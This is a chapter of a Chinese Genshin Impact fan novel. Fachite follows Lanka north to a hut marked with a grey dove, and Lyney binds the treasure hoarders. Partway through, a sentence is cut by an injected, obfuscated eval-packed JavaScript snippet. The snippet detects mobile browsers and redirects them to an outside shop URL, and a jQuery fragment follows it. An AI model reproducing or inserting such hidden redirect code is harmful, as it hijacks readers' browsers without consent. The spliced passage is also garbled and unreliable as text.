8. 北行(加更)

作品:《[原神]饲养怪谈的百种方法

    脖颈处,手指冰凉。


    纤细的影自高处投落,空气里淡淡铁锈混着腐朽,将些许清香掩盖。


    兰卡身体一僵。


    他、他竟然没走?


    而在法奇特看来,便是指尖的皮肤陡然一绷,炙热瞬间袭上。他微微挑眉,手顺着从脖颈处滑开。


    “跟上。”法奇特侧身一瞥。


    兰卡回神,捞起玩偶往怀里一藏,追了上去。


    两人一前一后走着,高挑在前瘦弱在后。兰卡不敢越过人,维持着不近不远的距离小心翼翼地看。


    衣袍松垮、领口敞开,锁骨下方白皙一片,隐约又带着红,像是被什么东西压过。


    咕咚。


    兰卡下意识动了动喉。


    只是瞬间,法奇特就感觉到了不对劲。


    “在看什么?”他压着火。


    兰卡慌忙移开视线:“没、没什么。”


    法奇特眯眼。他当然知道自己现在的样子,衣袍被扯得歪歪斜斜,身上还残留着那个家伙环抱的体温,兰卡那个眼神,分明在想些不该想的东西。


    【不愧是我挑的宿主,就是有魅力。】


    系统321悠悠然说着,语气简直不要太雀跃。


    法奇特脸色一沉,空气变得更冷。


    周遭夜风迎面扑着,带着草木清香,许是那少许的冷冽吹拂,他想着后续的计划,深吸一口气,压下烦躁。


    “收起你那乱七八糟的想法,”法奇特语气冰冷,“否则,我不介意帮你清空一下。”


    兰卡直接不敢出声。


    好在法奇特没有追究太久,下一刻他突然站住脚,看向兰卡。


    “现在告诉我,我们在去哪儿?”法奇特问。


    兰卡一个不察,差点撞上:“去、去...”


    追刀疤男?找卡托?还是找落脚点?


    兰卡想了一圈,脑袋里突然闪过锁链昏暗,清冷的嗓带着嘶哑。


    [然后向北,穿过枯木林,直到一面画着灰色鸽子的牌匾,在附近找到抽烟斗的老头。]


    “去北、北边,找灰鸽子!找抽烟斗老头!”


    “就是这个方向!”


    兰卡指着天。


    法奇特望去,月明星稀,明晃晃的光亮混杂在夜幕间。


    还算有点用。


    他轻应一声,继续走着。


    兰卡松了口气,知道自己这是过了考验。


    不曾想还没过多久,清冷的声又一次响起。


    “走前面去。”


    考验还没结束。


    兰卡心一横,直接大步跨过。他拨开齐腰的草丛,踩过湿软黏腻的泥土。身后轻微脚步声响着,带着冷冽的气息。


    他不敢回头,也不敢乱看,只是闷着头,夹着怀里的玩偶开路。


    怀中兔子玩偶甩着耳,将少许阴影显现,隐约间有赤红攀爬,从纽扣眼中漫出。不知何时,脖颈间的蝴蝶结松开来,半掉不掉地挂着。


    而在那耳垂的末端,蜡笔盒发卡推开了些,露出里面一小截蜡笔。


    是红色的。


    -


    -


    -


    “大功告成。”


    另一侧的密林,戏谑的声温润。


    林尼拍了拍手,一边说着一边退后。


    在他面前,七八个粗布烂衣的盗宝贼相互堆叠,被一根麻绳串着。刀疤男被绑在最前,脸直接涨成了紫色。


    “卡托!你这个吃里扒外的东西!老子对你不好吗!管你吃管你住——”


    “管吃管住?”林尼歪了歪头,“那五十摩拉的月钱什么时候结下?”


    刀疤男噎住。


    “而且,我跟你们本来就不是一伙。”林尼勾唇,蹲下身与他平视,“您不会真的以为,我是来投奔您的吧?”


    “小、老、大。”


    “或者说,三把手?”


    林尼笑眯眯道。


    刀疤男直接僵住。


    他知道?


    不可能!


    脑海里一个模糊的身影闪过,长袍、高帽,看不清脸,只有嘶哑嗓音,在记忆中回响。


    [不会有人知道的。]


    可卡托怎么会...


    刀疤男瞳孔微缩,后背打湿一片。


    察觉到他的变化,林尼笑意更深。他站起身,拍了拍膝上的草,望向北边的方向。夜晚的风刮起,蹭过脸颊。


    光亮间,紫色的眸微闪。


    但在下一刻,粗嗓响起。


    “他不可能背叛我!”刀疤男突然开口。


    林尼没了兴趣,随口敷衍:“是、是,没说他的事。”


    他掏出面罩,慢条斯理地戴着,浅色碎发藏于巾下,清秀的脸被布料覆盖,对于他们这种夜间行动的人来说,潜伏的伪装从来都是必要的。


    可还没整理片刻,不安生的人又一次吼道。


    “是那个娘炮对不对!”刀疤男回过味,瞪着血丝的眼,“还有兰卡!那个白眼狼废物!”


    “你们根本就是一伙的!”


    林尼动作一顿,脑海里不由自主浮现——灰蓝长发散落在肩头,暗红裙摆铺散着。当对方被他制住时,一闪而过的颤抖与白皙明明晃晃,显露出脆弱。


    他耳根一热。


    “才不是一伙。”


    林尼嘟囔,声音轻得几乎被风吹散。


    刀疤男没有听清,等要开口,面前的人早已消失。


    昏暗的林间树叶抖落,飘忽的风刮着叶片,将话语带来。


    “各位大哥,后会有期。”


    “这是上个月的月钱。”


    “不用找了——”


    咔哒。


    几枚摩拉滚至脚边。


    随即归于寂静。


    -


    北边的路不好走。


    虽然没有洞穴附近枯木遍地,但这里相对潮湿,地面总是一个凹一个凸,一不小心就会被绊倒。


    兰卡走在前面,每一步都踩得小心翼翼,时不时回头看一眼,确保人还在,自己没被抛弃,他甚至还有心思去想,对方果然厉害,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478710|201625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走这么久竟然没有绊一下,没有卡过一点——要知道他都差点摔倒两次。


    难道是经常走?


    兰卡想。


    也是,不了解的话,怎么会让自己去找。


    果然是在考验我。


    几息间,兰卡脑子已经转了几转。


    法奇特跟在身后,步伐不快但很稳。


    还是没数据?


    法奇特问系统321。


    【正在查了宿主,相信我,如果不是来这里出了问题,我一定能查到。】


    【我可是站在宿主背后的系统!】


    反正就是查不到。


    法奇特听懂意思。


    系统321果然闭麦,以一声滋拉的电流来进行控诉。


    空气里腐朽渐浓,脚下的土也变得越来越湿。他们沉默地走着,一前一后。


    突然,法奇特停下脚步。


    兰卡连忙站住,回头看他:“大人?”


    法奇特侧着头,像是在听什么。


    兰卡慌忙学着,屏气凝神。


    风从远处吹拂,带着泥土与腐叶气息。在那风的牵引下,他似乎听到了什么。


    很轻、很小,像是童声,像是在耳边。


    “...妈妈...”


    兰卡后背一凉,下意识抱紧了怀里藏着的兔子玩偶。


    法奇特看了一圈,那份熟悉的诡异和不安瞬间消失,仿佛从来没有出现过。他又等了会儿,确定周围重回正常,才收回视线。


    “走吧。”他迈着步。


    兰卡张了张嘴,最终没有问任何,只是抢在前面,再一次地当起了开路人。


    但不知是不是因为先前的停驻,他感觉后面的脚步急了些,像在催促。他不得不提快了速度,踉跄着拨开草丛。


    没过多久,眼前陡然开阔。


    “到了吗?”兰卡下意识道。


    荒芜的空地,林木环绕,中央低矮的木屋坐落着。屋子的顶铺着泛黑的干草,门前歪歪斜斜地插着木牌。远远看去,能够看到上面惨白的油漆涂色形状。


    是一只鸽子。


    法奇特眯眼:“嗯。”


    兰卡眼睛一亮。


    法奇特看了几秒,抬脚走去。


    木屋的门虚掩着,门缝透着光亮。


    他抬起手,试探着敲了敲。


    嗒、嗒、嗒。


    没有人应。


    法奇特等了会儿,又敲了下。


    “嘎吱——”


    门开了。


    一个老人出现在门后。他佝偻着背,脸上布满皱纹。透过月色的照耀能看到那浑浊的眼半眯,嘴边一根灰朴的烟斗,似乎冒着火星。


    空气中,烟草的气息陈旧弥漫,将清气压下。


    老人上下打量了法奇特一眼。


    浑浊的眼珠里,有什么一闪而过——像是认出了什么,又像是在确认什么。


    随后他转过身,佝偻的背对着他们,往屋内挪去。


    门没有关。


    像是在等他们进来。